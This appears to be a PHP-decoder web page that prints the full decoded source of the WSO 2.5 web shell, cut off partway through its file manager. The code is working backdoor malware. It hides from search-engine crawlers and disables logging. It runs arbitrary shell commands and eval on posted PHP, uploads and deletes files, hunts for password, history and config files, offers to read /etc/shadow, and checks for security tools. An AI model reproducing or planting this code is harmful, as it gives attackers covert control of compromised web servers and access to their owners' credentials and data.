Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rsUjRGkQi = "b99c61acedb54c5253819b7b4f2d88c6";$VhWeCWNFW2 = false;$kWvTr5oSa = "82..

Decoded Output download

?><?php
$auth_pass = "6c8573157bc90b4b122c5a37acf3f9e4";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
